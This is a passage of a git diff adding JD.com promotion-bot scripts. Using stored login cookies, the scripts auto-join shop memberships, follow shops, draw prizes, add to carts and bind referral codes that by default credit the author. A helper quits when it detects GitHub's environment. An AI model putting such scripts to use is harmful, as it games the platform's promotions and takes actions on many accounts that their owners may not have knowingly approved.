$.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + $.appkey = "51B59BB805903DA4CE513D29EC448375" + $.userId = "10299171" + $.actId = "65fcf625b7c7_11015" + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + console.log('去助力 -> '+$.authorCode); + await openCardNew(); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function openCardNew() { + $.token = null; + $.buyerNick = null; + $.activityInfo = null; + await getToken(); + if ($.token) { + await task('activity_load', { + "actId": $.actId, + "inviteNick": $.authorCode, + "jdToken": $.token, + "source": "01", + }) + if ($.buyerNick) { + console.log('1.助力码 -> '+$.buyerNick) + if ($.index === 1) { + ownCode = $.buyerNick + console.log("后面的将给这个助力码助力 -> "+ownCode) + } + console.log('2.绑定助力 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "relationBind", + "inviterNick": $.authorCode, + }) + await task('shopList', { + "actId": $.actId, + }) + console.log('3.关注店铺 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "uniteCollectShop", + }) + console.log('4.抽奖 ->') + await task('draw/post', { + "actId": $.actId, + "usedGameNum": "2", + "dataType": "draw", + }) + console.log('5.加入会员 ->') + if ($.shopList) { + console.log('会员卡数量 -> '+$.shopList.length) + for (const vo of $.shopList) { + $.log(`${vo.userId}`) + if (!vo.open) { + $.log("开通会员") + await getShopOpenCardInfo(vo.userId) + await bindWithVender(vo.userId) + await task('complete/mission', { + "actId": $.actId, + "shopId": vo.userId, + "missionType": "openCard", + }) + await $.wait(3000) + } else { + $.log("已经是会员了") + } + await $.wait(500) + } + } + console.log('6.加入购物车 ->') + await task('complete/mission', { + "actId": $.actId, + "missionType": "uniteAddCart", + }) + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, preParams) { + body = { + "jsonRpc": "2.0", + "params": { + "commonParameter": { + "appkey": $.appkey, + "m": "POST", + "timestamp": new Date(), + "userId": $.userId + }, + "admJson": { + "method": `/openCardNew/${function_id}`, + "userId": $.userId, + "buyerNick": $.buyerNick ? $.buyerNick : "" + } + } + } + Object.assign(body.params.admJson, preParams) + return new Promise(resolve => { + $.post(taskUrl(function_id, body), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.success) { + if (data.data.status === 200) { + switch (function_id) { + case 'activity_load': + $.buyerNick = data.data.data.buyerNick; + console.log("[ "+data.data.data.cusActivity.actName+" ]"); + break; + case 'shopList': + $.shopList = data.data.data.cusShops; + break; + case 'complete/mission': + console.log(data.data.data.remark); + break; + case 'draw/post': + console.log(data.data.data.awardSetting.awardName); + break; + default: + break; + } + } + } + + } else { + $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify({ venderId: venderId, channel: 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify({ "venderId": venderId, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "channel": 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + console.log("开卡成功") + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body) { + return { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/openCardNew/${function_id}?&mix_nick=${$.buyerNick ? $.buyerNick : ""}`, + headers: { + Host: 'jinggengjcq-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/json; charset=utf-8', + Origin: 'https://jinggengjcq-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: 'https://jinggengjcq-isv.isvjcloud.com/fronth5/', + Cookie: cookie + }, + body: JSON.stringify(body) + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_jinggengjcq_yingle.js b/backUp/jd_jinggengjcq_yingle.js new file mode 100644 index 0000000..f842809 --- /dev/null +++ b/backUp/jd_jinggengjcq_yingle.js @@ -0,0 +1,553 @@ + +const $ = new Env("婴乐"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +const cp = $.isNode() ? require('child_process') : ''; +let cookiesArr = [], cookie = '', message = ''; +const Base64 = require("js-base64") +let ownCode = null +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + authorCodeList = [ + 